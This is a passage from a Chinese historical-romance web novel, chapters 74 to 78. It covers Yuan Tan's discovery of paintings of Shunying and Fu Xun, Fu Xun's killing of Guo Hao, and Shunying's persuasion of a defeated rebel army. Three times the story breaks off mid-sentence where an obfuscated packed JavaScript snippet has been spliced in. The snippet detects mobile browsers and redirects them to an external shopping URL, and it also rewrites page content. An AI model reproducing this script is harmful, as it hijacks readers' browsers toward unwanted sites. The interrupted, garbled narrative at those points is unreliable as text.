在满洛京的欢声笑语里,只有一位红裙少女羽眉紧蹙,失魂落魄地逆着人潮,跌跌撞撞走进戎陵山东麓,顺着白石板路拾级而上,路的尽头是早已人去楼空的半山居。 元昙不知何时养成了习惯,每有闲暇,总会来这座空宅。一寸寸抚过他曾倚过的栏杆、他曾抚过的七弦琴、他曾用过的书案、他曾看过的每一卷书。 像是把那珍贵的半个月细细掰碎、重新过了一遍又一遍。 四下里门窗紧闭,想竭力掩住他残留的甘甜木香,香味还是一天天淡了。 推开最后一道门,里面是他曾住过的卧房,甘甜木香比别处消散得更慢,令她心醉也心安。 捷报传来,元昙心中最后的希冀也破灭,看着那铺得整整齐齐的床褥,她突然想干一件前所未有的、不顾及廉耻的事情。 闩上房门,掀开被子躺进去、再盖上,馥郁的龙涎香裹住了她,像是被他环抱着,依稀还有淡淡体温。 “如是这般,就算与你同床共枕过,嫁过你了。”她喃喃呓语着,偏过头看向床内,含泪看向枕上那个并不存在的他。 泪眼朦胧的视线,忽然被枕畔一个盒子吸引住。 75. 此情可待成追忆 木盒一尺半见方,盖上蘸金粉绘了一茎荷花,熟悉的字迹题诗四句: 锦瑟无端五十弦,一弦一柱思华年。庄生晓梦迷蝴蝶,望帝春心托杜鹃。 盒盖的锁扣金漆剥脱,磨得发亮,显然是被苻洵时常打开细看。 感觉自己站在一个巨大谜团的边缘,元昙心跳如擂鼓,手忙脚乱在半山居找了一通,终于在杂物间寻到一把小斧,攒足力气劈开了锁扣。 满满一匣画卷。 元昙又期待又恐惧,犹豫了半晌,颤抖的手还是展开了其中一幅,看清画面的瞬间,她顿时如坠冰窖,万箭穿心的痛楚也不过如此。 她同时看到了两张熟悉的面容:画中少女黛眉远山长、杏眼秋水澈、薄唇微微扬起,穿一身利落直裰;画中少年两眼灿若星子,唇若花瓣,额角垂下两绺飘逸的黑发,穿一身胭脂红的裘氅。 两人并肩坐在漫天烟花下,相视而笑,画工极其细腻,二人眸中的柔情缱绻似要溢出纸面。 右下角题时间:永兴四年除夕夜。 少年,是她朝思暮想、爱而不得的异国将军;少女,是她那贵为一国之君的兄长、冒天下之大不韪也要强锁在身边的女人。 也是这深宫之中,唯一会对她温言细语、关怀备至的人。 元昙不寒而栗,脑子一片空白,疯了似的从盒中取出画卷逐个摊开,不同的时间、装扮、场景……画卷的主角却始终是那两个。 颤栗着将画按时间排序,梅树下对望、烟花里相拥、原野上驰马……完整的相见欢、望梅花、游韶光。 时间最近的两张画卷,一张是少女穿着正红色婚服,金线迷离绣着螭龙、白狮和雉,螭龙和雉是荣国喜服传统的纹饰,白狮在荣国更是苻姓王室专用。 这幅画的最右侧,题着所有画卷中仅有的一句诗——此情可待成追忆,只是当时已惘然。 原来如此,原来如此…… 褚姐姐会拒接无数贵女趋之若鹜的册后诏书——因为她根本不想嫁给四哥。 四哥会将她封宫幽禁数月,却不像其他被背叛的男人那般狠绝,反而轻轻放下——因为这个妻子,本就是他抢来的。 不爱华服锦衣的四嫂,会在行宫家宴时忽然换上王后常服——因为苻洵也在,有人要宣示主权。 所以苻洵说,四哥不可能让她嫁给自己;所以苻洵此生不愿再娶妻、也不愿同元姓有任何瓜葛。 元昙冷汗直流、全身发着颤,支起火盆,这些画卷足以让四嫂身败名裂,所以她将其尽数焚毁。而后,脚像是踩在棉花上、摇摇晃晃下了山…… 后面的事,恍惚得像一场梦。 她忘了自己是怎样走回崔氏邸舍,又怎样接到宣召回了昇阳王宫。 她失魂落魄沿着夹道往里走,一墙之隔的后苑传来笑语,是太后冯姮、北宛质子冯彬、太后族妹冯沅和其女武灿,好像听她们提到自己。 元昙忍不住驻足,耳朵贴上宫墙,仔细分辨里面的话音。 冯彬支支吾吾:“陛下跟我说,男子追媳妇的脸皮要厚,女子都是嘴硬心软的,赖着占着就是自己的了……” 冯姮冷哼:“你听他瞎说,他自己的婚事都弄得一团糟,听他的,给你带沟里去。” 武灿兴致盎然:“听襄国公说,陛下在灵昌那会儿,差点给人把媳妇抢跑了?” 冯沅呵斥:“闭嘴!几个脑袋,王上都敢编排!” 冯姮叹气:“抢什么抢?若非阿旻动了心思,等阿英及笄了、本就该以公主之礼择婿出降。” 冯沅笑道:“娘娘养得阿英一朵花似的,谁见了不喜欢。所谓窈窕淑女、君子好逑,有人争抢也是娘娘调教的好。” 武灿嬉笑道:“听说陛下已经下令,让宗正寺着手操办国君大婚,什么驸马之类的……没指望咯。” 冯姮也笑了:“哀家本已看好几个驸马人选,还想着谁能有这福气,阿旻的王后哀家本也留意着。末了末了,孩子们主意更大,自己看对了眼,等哀家知晓时,他们连先王赐婚都求到了。不如想开些,两相得宜,哀家倒少操一遍心。” 元昙耳边嗡嗡的,后面的话她再听不进去,屏息敛声绕回寝殿,沐浴更衣后去上书房面圣。 元旻这天心情颇好,并未直接提冯彬,反而先温声问她是否有心仪的男子。 揣着一丝侥幸,她低声试探:“陛下可还记得,龙门行宫家宴上,与我共舞的男子?” 果然,元旻唇角笑意凝固了:“苻洵?天底下没别的男人了么?” 一丝凉意爬上后脊,元昙忙伏在地上:“臣妹也与此人无甚交集,只当初惊鸿一瞥,觉着他才貌俱佳,兼之两国会盟,愿为陛下分忧。” “朕不愿背后说人长短,但此人,朕不愿将姊妹托付给他”,元旻站起身,温声劝慰,“婚姻是一生大事,男子的品行才是首要,才貌倒是其次……阿昙,你还小,何必急着托付终身?” 又来了,他、他们母子总是这样谦逊有礼、滴水不漏,像是彻头彻尾的翩翩君子,让人难以拒绝。 就像曾经,母后抢了母妃的王后之位,阖宫上下却都赞扬母后贤良淑德、温婉谦恭,而为父王付出一切的母妃,只落得骄横跋扈的恶名; 就像那年,八弟死在兴庆宫外,母妃迫不得已,带着二哥三哥清君侧却被轻易击败。不止是中宫之位,未来的王位都是他们的了; 就像去年,就连外公、舅舅、九叔,都被他使手段收服,死心塌地将他推上王位、辅佐他,举国上下都说他是明君,对他歌功颂德; 就像他明明巧取豪夺得到了别人的妻子,却反过来说被抢的人品行不堪; 就像他明明已决定让自己联姻北苑,却要装出一副替她考虑、手足情深的姿态。 从头到尾,他总是有周全的谋算、过人的手段,夺走别人的一切,再将错推给别人,他永远双手干干净净、洁白无瑕。 “臣妹谢陛下顾念,请王兄为臣妹掌眼,北宛十一王子冯彬如何?” 果然,她听到头顶的国君笑了:“冯彬要单单说做夫婿,倒是温柔体贴、忠贞专一,可心性荏弱、太重感情,不会有什么大出息。” 她一字一字道:“臣妹愿嫁给冯彬为妻!” 元旻倒愣了一瞬:“从政事考虑,朕是有意撮合你们,可冯彬确实有点配不上你,婚嫁之事、心意为先。” “这可不是儿戏,朕先写一封手谕给你,等你想清楚了再自行交给宗正寺。” 她深吸一口气,掷地有声:“臣妹已想好了!” 头埋得很低,将眼底的绝望、恨意、讥诮、不甘和痛苦一并掩盖。 . “姐姐现在感觉怎样,身子可好了些?”露珠在草叶上滚来滚去,苻洵跟在舜英身后,柔声询问。 舜英在林子里闲逛,边走边左顾右盼,挑挑拣拣摘下些野果。 见她手掌放不下了,苻洵忙解下披风替她盛好,笑问:“姐姐采这么多果子,想是干粮吃腻了,要换换口味?” 舜英笑着摇摇头:“她们那几个,这些天都没吃上什么正经东西,采些果子等她们醒了吃。” “你对他们好,他们对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981285|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死心塌地”,苻洵目光复杂地注视着她的背影,“你总是这样……却不自知。” 想了想,神色黯然了几分:“醒?姐姐是说,时机快到了么?” 舜英停住脚步,回过身,正色道:“我恢复得差不多了,阿洵,谢谢你。” 苻洵半垂眸,唇角微弯:“我懂了,马上让白袍卫去解救你的那队内卫。” “有没有什么标记,可以让他们循着来找你?” 舜英思忖片刻,还是决定信他这一次,于是点点头,同他一起往回走。 回到山洞,二人相对无言,坐在一起沉默了半晌,直到去暗中帮隐蝠卫脱困的人回来复命。 苻洵递给她几支香:“这是醒神香,点燃后两刻钟,她们就能醒来。” 他又从行装里取出些干粮和水留下,想了想,再取一盒传信烟花:“若姐姐再处困境,若还信得过我,燃放一枚,无论多远我都会来。” 舜英将烟花盒轻轻推开,笑容淡淡的:“阿洵的心意我领了,谢谢你,但是不必。” 苻洵似乎早已料到,面不改色:“姐姐的刀和鞭子丟在了半路,我派人寻过,九霄山太大了……不如将就用一下这个。” 他回身拿起一个细长的革袋,提起底部,将袋中之物倾倒在大石头上。 舜英只一瞥那两件物什,眼前一亮,再也移不开目光。 一柄弯月刀、一根九节鞭。刀是好刀,凤头交股雪花镔,身似一泓秋水、锋如一痕冰霜;鞭也是好鞭,铁檀制成镖头和握把,银白的鞭结和圆环连缀成柔韧的鞭身,似一条皎洁的灵蛇。 拿起试了试手,这一刀一鞭均比她以前用的长些,挥舞起来却不觉得累,又轻、又韧、又锋利。 她舞得兴起,苻洵在一旁静静看着,唇角上扬。 “武器嘛,都是一寸长一寸强,我猜姐姐从前不做长些,大概是因为力量不足”,苻洵双眸亮晶晶的,“玉照那边的有一家铁匠铺,用秘银和玄铁打出来的武器又轻又韧。” 舜英与他目光一触,忙收回武器,脸上浮出些羞赧:“抱歉……一见武器就忘情了,哪家铺子,可否告知一声?” 苻洵眼神落寞:“不必,宝剑赠英雄,姐姐用着便好。” 舜英确实对这武器爱不释手,眼下也确实需要几件趁手兵器,于是笑道:“你们荣国不缺好武器,无以为报。我那有块上品龙涎香,姨母送我的,我不喜熏香。你若不嫌弃,回头我托人捎给你。” 苻洵笑了:“好。” 舜英想了想,又说:“姨母每年送我的生辰礼都很贵重,什么珊瑚、东珠、玉料、翡翠料……我又不大戴,都堆在昇阳的褚宅里。” 苻洵预感她接下来要说什么,却没有打断,只面带微笑,静静听着。 果然,她说:“上次在维阳见到你那位如夫人,又贵气又娴静,不如挑些好的,送她打首饰吧……权当是给你们的贺礼。” 她总是这样,温柔而决绝,让他连恨,都无处去恨。 苻洵眼眶有些红,笑意不减,轻声道:“你说她是,她就是吧,我代她谢你。” 醒神香点燃,袅袅青烟似水从火星子上流出,在空中漫卷了又舒展。 舜英和苻洵把干粮、水、野果摆放在大石头上,再逐一替她们割断绳索。 苻洵恋恋不舍看了她几眼,走到洞口,向守在外边的几十名白袍卫摆了摆手,示意他们整队出发。 身后传来一声极轻的“阿洵”,他身躯一震,蓦然回首,只见舜英脸上挂着笑,跟了出来:“大老远跑过来相救,送送吧。” 76. 君向潇湘我向秦 二人并肩走在崎岖的山路上,走走停停、不约而同都走得很慢,却都沉默无言。 舜英忽然偏过头,定定注视着他,柔声道:“阿洵,放下吧。” 苻洵垂眸注视地面,唇角挤出一缕微笑,轻轻出声:“有时候我在想,如果我早些重逢你,如果我拥有比元旻更大的权势,如果没有赐婚圣旨或是没有元旻。” 舜英唇角漾起笑意,眼眶微红:“阿洵,事已至此,满目山河空念远,不如怜取眼前人。” 苻洵抬眸注视着她:“算了,等到没有元旻的那天,你恐怕更不会要我。” 舜英轻轻说:“你不要假设那些已成定数、不可更改的事,来反复折磨自己。” 苻洵笑容越来越盛,眼神缱绻而留恋,眼眶微红、泪盈于睫却不曾滴落:“那么,姐姐,不要再次忘了阿洵。” “就算恨,也不要忘了我……” 舜英垂眸注视着地面,唇角往上扬了扬,却一字未发,二人沉默着相对站立了很久很久。 苻洵打破沉默,偏过头望向山下,弯了弯唇角:“你的下属们找过来了,她们在山洞里也该醒了,回去吧,姐姐。” 舜英点点头,转身往回走去,走出几步忽转过头,高声呼喊:“阿洵,无论如何,我期盼你过得好。” 说完这句,却没有离开,只是站在那望向苻洵的背影。 往反方向走的苻洵身躯一僵,却没有回头,一动不动站着,一直等到山洞方向传来的嘈杂女声越来越近,才慢慢迈着步子走向山下。 郎琊觑见他的神色,忙向其他人使了个眼色,都无声退远了些。 太阳已升到中天,在林间投下斑驳光影。苻洵步履不停,却无法自抑地,四肢、双肩、身躯止不住地剧烈颤抖,一滴又一滴泪水盈出眼眶,在眼底汇成汩汩两行,流满双颊。 “我不放……我还没答应,不许走。” “不要丢下我一个人……” . 古森的林木,从不同高度刮去一小片树皮,符号很单调,单看起来含义很模糊。 但这难不住开阳,因为这个符号,来自飞廉的密文。飞廉七星在阿七首领的组织下,废寝忘食拼了一个月,拼出的三套密文,这只是其中之一。 日升日落,兜兜转转绕了近十天,他们终于从那片鬼打墙的林子里走出来了。 幸亏此次进山带的干粮和水足够,幸亏他带的五十人身强体壮,幸亏未遇上乱兵…… 思忖间,脚底忽往下一陷,他一个激灵旋身跃起,脚勾住树枝倒垂而下,倒挂金钩的同时一刀挥出。 一鞭破空而来,风动灵蛇舞、势卷风云疾。 紫衣绽开如花、向他扑来,挟着风雷之势,动作太快有了重影,看不清来人的身姿和面貌。 那条白色的九节鞭缠住他腰刀后去势不减,往来人的方向拉去,他以此拉力为支点、甩出一个扫堂腿,却只觉眼前掠过一痕明亮的秋水,霜刃贴着肩部挥向脖颈…… 冰凉贴上他的脖颈,然后不动了。 他反应过来,忙低下头:“首领!” 舜英旋了几旋手腕,解开九节鞭,再放下架在他脖子上的刀,朗声笑道:“一年不见,不进反退了?” 开阳退了一步,笑容赧然:“大半年都在北宛扮牧民,骑射练得多些,刀法确实生疏了。” 上下打量一番,盯上了她手中的刀:“首领眼光越发好了,这样的宝刀百年难遇,哪儿打的?” 舜英笑容僵住、然后逐渐消失,注视着手中银白的刀一言不发,开阳有些尴尬,又说:“待首领大婚之日,莫忘了给咱们七星单独摆一桌。” “首领说这事若成了,喜酒管够”,树顶传来柔若莺啼的女声,是天玑,“只是这次的差事办得不好,到时先自罚三杯。” 另一个方向的茂密树冠拂动,飘出一条白色的身影,是天璇:“罚,咱们都该罚。” 不同方向的草丛、树顶、树冠、粗壮树干中、草皮掩盖的地底依次冒出六七条纤细身影,笑吟吟围住了开阳,看得他身后的男子们眼都直了。 舜英扫视了一眼四周,低叱:“都滚回去藏好,真是越活越回去了,见着个熟人就暴露!” “你们原本在这逮谁”,开阳微微错愕,“还以为你们守在这等我。” 舜英神情凝重,摇摇头:“擒贼擒王,自然是……” 话音未落,忽高叱“闪开”,揉身下腰往后伏低,长鞭勾住一块石头往右一甩,正正撞上激射而来的一支箭,石块砰然炸开,箭也折作两段坠地。 霎时间,像下了一阵急促的雨,箭簇从四面八方射来,密密麻麻在林间穿梭,交织成无数张锋利的天罗地网。 早在舜英出声的刹那,所有隐蝠卫遁地的遁地、升空的升空,箭雨间歇的片刻,上百把弯月长刀已出鞘,迅疾如电扑向四方。 舜英忙高声喝止:“别出人命!” 一簇又一簇血花在灌木丛、树冠中绽开,闷哼和惨叫此起彼伏,长弓纷纷坠地,紧跟着几十条肉身被踹飞、砸落地面发出沉闷的声响。 舜英抱臂站着,注视着一具又一具肉身飞出,掉落在自己面前,都只伤了四肢,性命无碍。 忽然对着一个方向,冷笑着高声嘲讽:“投放疫病,劫掠庄户,欺凌妇孺,藏头露尾放冷箭!” “就连布个掩藏行迹的迷魂阵,都要靠他国将领传授!” “郭洋,十九年前郭越让你藏兵于山,就藏成这副鬼德行?” “好个蹈锋饮血、万死不辞的虎威军!好个宁死不降的郭家男儿!” “住嘴!”林中走出两名彪形大汉,为首的身高七尺、面容俊朗、神色沉稳,正是她在幻境中见过的郭洋,而紧跟其后的副将表情凶煞,正厉声喝止她。 “哪来的娘们,在此大放厥词!” “什么他国支援,小郭将军与朝廷虚与委蛇,算什么他国将领?” 舜英敏感地察觉到一丝不对,不及细想,郭洋已沉声开口:“疫病之事是末将之过,而今作茧自缚也是无可奈何。” “可是我虎威军纪律严明,敢问劫掠庄户从何说起。” 她仰起头,冷冷怒叱:“你麾下可有一程姓军侯,在九霄东麓一座荒村,杀了我十几名同僚!” “说什么男子都杀掉,女子带回去!” 郭洋脸色由白转青,忽看向身边副将:“程冀何在?” 副将忙回答:“五天前小郭将军要来,程军侯去接了,至今未归。” 舜英站定,傲然看向郭洋,冷冷道:“回不来了,因为——他被我杀了!” “不止是他,他手底下那几个都被我杀了!” 开阳和天璇天玑先是相视一笑,目露崇拜,而后又有些忧虑地盯着舜英。 郭洋一愣,脸上浮出怒气:“姑娘为何大开杀戒?” “他能杀我的人,我为何不能杀他”,舜英冷笑,毫不迟疑扯开左腕包扎的棉布,露出刚刚刚开始结痂的深深刀口,“何况,他说,为救你那三千染病的兄弟,我便是被抽成人干,也是死得其所!” 郭洋更疑惑:“他为何要放你的血?” 舜英缓缓走近他,忽然露出个微笑,贴近他耳边,轻声说了几句。 郭洋身躯猛地一震,瞳孔骤然收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981286|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩,震惊地看向她:“你!” 舜英推开,好整以暇地说:“这只是最微末的法子,若你愿意,我可送你们十拿九稳的一世安泰。” 郭洋往后退了几步,狐疑地上下打量她:“你是谁,我凭什么信你的话?” 舜英目光穿过丛丛林木,望向远方若隐若现的扬澜湖,唇角扬起,露出个成竹在胸的笑:“因为,你们已无其他活路了!” 遥远的湖面,此起彼伏地、响起无数昂扬而嘹亮的号角声,声振林木、高遏行云。 郭洋听见这熟悉的声响,身子一僵,一把从副将手中夺过千里镜,往山坡上飞奔了十几步,纵身跃上一块高凸的大石,看向东北方向的扬澜湖。 只见从扬澜湖北边到更远的长流川,帆樯如云、百舸争流,不计其数的战舰破开激流、两侧白浪簇拥,浩浩荡荡地开了进来。 旌旗招展,无数个“翊”在风中翻卷。 “不必看了,两万水师、四万步兵”,下方传来女子的声音,“不信的话,这就让他们演习演习?” 郭洋目眦欲裂,三步并作两步冲到舜英面前,怒目逼视:“你究竟是谁?” 舜英面不改色与他对视,比起男儿、她的个子并不高,只是静静站那,却自带渊渟岳峙、琨玉秋霜的浩然之气,倒震慑得他矮了三分。 良久,她唇角扬起一抹微笑:“我是救你们的人。” . 郎琊放下千里镜,咋舌惊叹:“门舰和艋艟加起来不下六十艘,还有搭载步兵的楼船,都说翊国武德充沛、当真名不虚传。” 苻洵盘膝坐地,抬头灌下一口水,注视着远方湖面星罗棋布的战舰,目光悠远:“若荣国有那样多的土地和人口,也养得起如此精兵。” 两名哨兵从山下走来,身后跟着个穿着蓝色锦袍、脸色沉郁的中年男子,以及那男子的几名亲随。 秦川道:“郭皓来了!” 苻洵站起身,脸上绽出热情的笑,迎了上去:“郭刺史,好久不见。” 郭皓一见他,脸色又沉了几分,急切道:“疫源封上了。” 苻洵笑得真诚:“封上了好,贵地生民不至再受荼毒,刺史大人之幸。” 郭皓脸色一变:“你知道时疫会异变,也知道会被封住?” 苻洵表情茫然:“刺史大人在说什么,在下知道什么?” 郭皓急了,凑到他身边,恨恨逼视他:“萧二郎,整编虎威军是你的主意,瘴疠的讯息也是你透露的。” 苻洵表情更讶异无辜:“在下只是与好友闲侃几句,何时叫你们兴兵谋逆了?” 郭皓愣住了,盯着他半晌,忽然咬牙切齿地笑起来:“好,好,你倒是推的干干净净。” “萧二郎也是化名吧,我就不信查不出你的身份!挨着翊国的,统共就这几个,拉上你的故国垫背也不算亏!” 苻洵赔着笑,柔声劝阻:“大人莫急,在下不是正在想法子么?” 郭皓重重一拂袍袖,冷哼道:“现在知道服软了……法子想出了没有?” “当然有啊……”苻洵眉眼带笑,缓缓靠近他,将双唇靠近他耳边,忽然神色一冷,手臂短促有力地刺出,“滬南这块地,我懒得继续玩了。” 白袍卫同时刀剑出鞘,一簇簇血花在林间绽开,郭皓的随从应声倒地。 弯月刀没入郭皓体内,再被利索拔出,带出一簇高高的、激射的血花。苻洵飞速侧身避开,振了振披风,嫌弃地拂过溅上去的血点。 “好脏!” 他抖落刀尖的血迹,从袖中取出一块丝帕,慢条斯理地擦拭着,擦过刀锷时动作轻柔了些。 77. 劝降 这柄弯月刀,身似一泓秋水、锋如一痕冰霜,除了更长些、宽些,连弧度都与他赠舜英那柄一模一样,刀锷处錾刻两个篆体——飞星。 舜英手中的那柄,刀锷有一处小小凸起,凝固着素白的秘银,将原本錾刻的两个古篆填埋掩盖——纤云。 纤云弄巧,飞星传恨,银汉迢迢暗度;柔情似水,佳期如梦,忍顾鹊桥归路。 征和十九年,苻洵回到荣国,寻遍名山大川,一边拜师学习与她路数一致的武艺、一边搜集铸刀材料,集齐之后交由玉照最好的铁匠千锤百炼,终成这一对银白的好刀。 栎东白水重逢之后,他亲手一笔一笔刻下刀名,却未能在灵昌送出。 一如那绝望的爱意,被弃置在阴暗的角落里,落满了尘灰,一天又一天,一年又一年。 终于在永平一年九月二十一,同时得见天日。 “都处理干净了”,郎琊走过来,恭声征询,“主子,人证已死,翊王查不到咱们头上了。” 苻洵颔首:“地瘴线的事阴差阳错,木石阵之事并无证据,元旻不会以此轻动刀兵,也不至祸延故国。” 秦川犹豫半晌,试探着问:“可褚娘子也知道。” 嘴唇被咬出的破损已结痂、却依旧隐隐刺痛,苻洵的眼神柔和而落寞:“她不会说的。” “况且,我一直告诉她,与我来往的人是郭洋。” 秦川忧虑道:“他们碰面了,咱们不就……” 郎琊撞了撞他胳膊,用看傻子的眼神瞥了他一眼:“若你是郭洋和褚娘子,会主动说、主动问?况且,就算对方说了,你会信?” 苻洵笑而不语。 郎琊又说:“主子,月初有消息说,翊军在乌桓之战大捷势在必行。这南边不玩了,北边也结束了,咱们下一步如何布局?” “北边不会结束”,苻洵笑了,“只要元昙就这样嫁给冯彬,北边的事,才刚刚开始。” “元昙……半山居……”,他突然神色一僵,“我枕头边那匣子画呢,你们收哪儿去了?” 秦川愕然:“好好的,谁去摸主子的床?” 郎琊忙宽慰:“七公主既与褚娘子交好,想必会替她遮掩。” 苻洵点点头,仍有些忧心:“但愿如此,寻个时间再去找找罢。” 秦川松了口气:“如今河州事毕,陛下也正想方设法寻主子回去,咱们何时动身?” 身后几十丈远处人声熙攘,苻洵转头看去,那是密林里的一条石径。 以郭洋为首的虎威残部,正前呼后拥挟持着舜英走向群山深处,开阳和天璇、天玑率下属,在树梢林间散成阵型,一路跟着、围着、替她戒备。 不禁摇头喃喃:“你总这样孤身犯险……” 想了想又说:“先不回灵昌……时机未到,至于怎么答复哥哥,就说锦瑟有孕需要人照顾。郎琊你先带一队人去维阳,时刻留意两国动向,我跟秦川还要在这等等。” 秦川立即遵命,却又转头看向扬澜湖里星罗棋布的战舰,不满地问:“主子,你说永平王有这么多兵,为何不直接打进来,倒让褚娘子涉险?” 苻洵收敛笑意,肃然道:“因为永平王恭俭爱民、仁厚礼贤,不愿寒滬南两千万人心。” “因为翊王后深明大义、博爱众生,不愿治下黎民再历战火。” 郎琊瞠目结舌,看了看苻洵、又与秦川交换了个眼神。 苻洵目光在他们身上扫过:“你们想说什么?” 秦川小心试探:“主子,你不是一向与……” “我是与他不对付”,苻洵笑了,举起水袋,放眼北望,遥遥敬祝,“可他是一位贤明的国君。” “翊国有元旻坐镇,固若金汤,我们终其一生、都寻不到任何时机。” “年少万兜鍪,坐断东南战未休,天下英雄谁敌手?” “只有他,配作我的敌手!” . 暮色乍起,舜英被虎威残部押回大营,当她走过木头搭建的、歪歪斜斜的辕门,看清整个大营时,不由地一怔。 她之前随元旻巡幸八方军营,从未见过如此寒碜残破的营地。 上千个帐篷,由歪歪扭扭的树木搭成、蒙着补丁重叠的泛黄布幔,掩映在潮湿的森森老林中。 一些挖进山腹的巨大山洞,极珍惜地铺着油纸布,充作他们的粮仓、兵器库、药材库。 这个时辰,别的军营已是夜深千帐灯,唯独这里一片黢黑,静得像坟墓。 军营的一个角、用石块垒砌成墙,隔出一片空地,搭着几百个较完整的帐篷。 “那就是我们染病的兄弟”,郭洋抬手指向那个角,语气带着见惯生死的麻木,“先前送的药不管用了,他们只能等死。” 舜英怔了怔,“等死”二字让她不知如何作答。 郭洋已领她进入帅帐,那是一座较大的山洞,洞中伐木搭成桌椅、数十张简易的床,这就是虎威残军所有将领的住所。 在这陈破简陋的山洞中,唯有案后那张泛黄的舆图干净整洁——尚未并入大翊版图前的滬国。 能想象到这群糙汉子如何在日晒雨淋、缺吃少穿中,精心呵护着那唯一的念想。 良久,她问郭洋:“听说你们准备拔营,为何至今未动?” 郭洋笑了笑:“先是有人不放心生病的兄弟,一直拖着,现在……想走都走不了了。” 舜英眼中带着恻隐:“从燮陵城破、翊军入驻的那天,你们就已没有了胜算,为何不降?” 郭洋笑容消失,一脸肃然地挺直脊梁、仰起头颅,掷地有声:“莫道山河今便改,国于天地镇长存!” “虎威军,组建于五十九年前大滬立国,历四代国君,郭家男儿东征西讨、攘外安内,山河虽已易主,可只要这世上还剩一名虎威战士,大滬便不算亡国。” “今翊军兵临城下,我虎威军宁愿全部战死沙场!” “我郭洋不会伤害来使,却也请褚娘子莫要夺我气节!” 舜英沉默良久,抬起头笑了笑:“郭将军若不介怀,可否带下官去营地走走?” 郭洋思忖片刻,问:“我们不降,翊王是不会支援的。褚娘子在山下说的药材支援之事,可否不要告诉他们,动摇军心?” “他们不是软骨头,只是太在意兄弟的性命!” 舜英颔首:“这是自然。” 这支曾令大翊闻风丧胆的精兵,此时的营帐并没有多少健壮汉子,多的是年迈力衰的、稚气未脱的,甚至还有些健壮的妇人。毕竟十九年了,没有优质兵源补充,再好的军队也会枯朽。 见她进来,兵卒齐刷刷站了起来,眼神冷漠而戒备。 走进一个帐子,她看着个三十来岁的枯瘦汉子说:“五年前水患,你被带走后,家中没了顶梁柱,你家娘子拖着五个孩子很是辛苦,她是在去年过世的,好在你家老大已成人,在外帮佣能养家糊口了。” 汉子愤怒地说:“你骗人!” 舜英笑容淡淡的:“你家娘子左边脖子有块黄斑,像片树叶,你家老幺走路有些跛。” 汉子一惊:“我家在沵州乡下,你是如何知道的?” 舜英轻声道:“你娘子给你纳了很多鞋底,她喜欢多轧两道线,这样可以穿得更久些……她临终还在念着你何时能穿上。” 汉子倒退一步,默默垂下头摸着脚上那双已被踩烂的鞋底。 舜英转向另一个老兵:“你家在萝州东郊,是老实的庄户人家,十年前龙川湖暴乱,分了几名刺客藏身你家,事后朝廷查处时,郭皓为掩盖线索,将你一家老小尽数灭口。” 老兵和郭洋齐齐转向她,怒喝:“不可能,他不是那样的人!” 舜英问:“郭皓当时借兵,只告诉你们是去刺杀翊王和翊太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“在下不胜酒力,今日便与虎威义军之主帅郭将军,以茶代酒,共饮一壶!” 幽冷的月光下,二人坐在秋深露寒的林中,以大石为桌,举杯对饮。 “第一杯,敬郭将军之品格,忠肝义胆、高风亮节!” 舜英双手捧杯,与郭洋遥遥一碰,一饮而尽。郭洋沧桑而疲惫的双眸掠过一丝骄傲,同样举杯饮下。 “第二杯,敬虎威义军的军魂,心怀家国,至死不渝!” 舜英舒展右臂、翻转手腕,将茶水缓缓倾洒到地上。 郭洋眼神一黯,栾昌岭的刀光剑影、血流成河,十九年的筚路蓝缕、披荆斩棘,在眼前逐一掠过。 他合上双目,同样舒臂、翻腕,将茶水浇到地上:“敬我虎威军埋骨青山的大好男儿!” 舜英一瞬不瞬注视着他,目光内敛而复杂,缓缓起身,双手捧起那杯茶,向四面八方的虚空遥遥敬祝。 “邀郭将军与我一起——” “敬滬南这两千里大好河山!” “敬那些在改朝换代、政斗倾轧、水患、时疫、匪患中家破人亡,无辜枉死的百姓!” “在下觍颜,以这第三杯,问将军一句——” “苍生何辜?” 郭洋脸色大变,拔剑而起指向舜英,冷笑着怒道:“亏我之前还当褚娘子深明大义,原来也不懂何为忠君报国、何为舍身取义!” 舜英笑的讽刺,声音冷冽:“我褚舜英同为武将,懂你说的忠义,可我更懂‘可怜白骨攒孤冢,尽为将军觅战功!’” “你郭家世代深受隆恩、食万民之禄,必须忠勇,必须守节,也必须为那个烂透了的滬国陪葬!” “而他们,在家时只得几亩薄田、家徒四壁;从军后,幸运的白头尚能归,不幸的枯骨无人收!” “今山河已改、大势已定,我朝优待子民不逊前朝,他们可以比以前活得更好,你却要他们死!” “郭洋,你凭什么用无辜百姓的性命,去殉你的大义?” 78. 招安 虎威军帅帐周围的高地、粗壮点的树,都被几十名隐蝠卫占了。 开阳麾下的武士、龙牙带着的寻访小队、天璇天玑和洪昌分点的线人。 出了苻洵的木石阵,世间再少有别的事物拦得住他们。 舜英的质问字字铿锵、句句戳心,郭洋渐渐陷入了沉默,良久之后,一言不发径直回了山洞,将舜英晾在那儿。 等了大半宿的开阳忙带着人翻身下树,铺地的铺地、砍树的砍树、支架子的支架子、脱披风的脱披风,七手八脚替她弄出个简易帐篷。 开阳是被一阵人声喧嚣吵醒的,睁眼看去、霎时起了身冷汗。 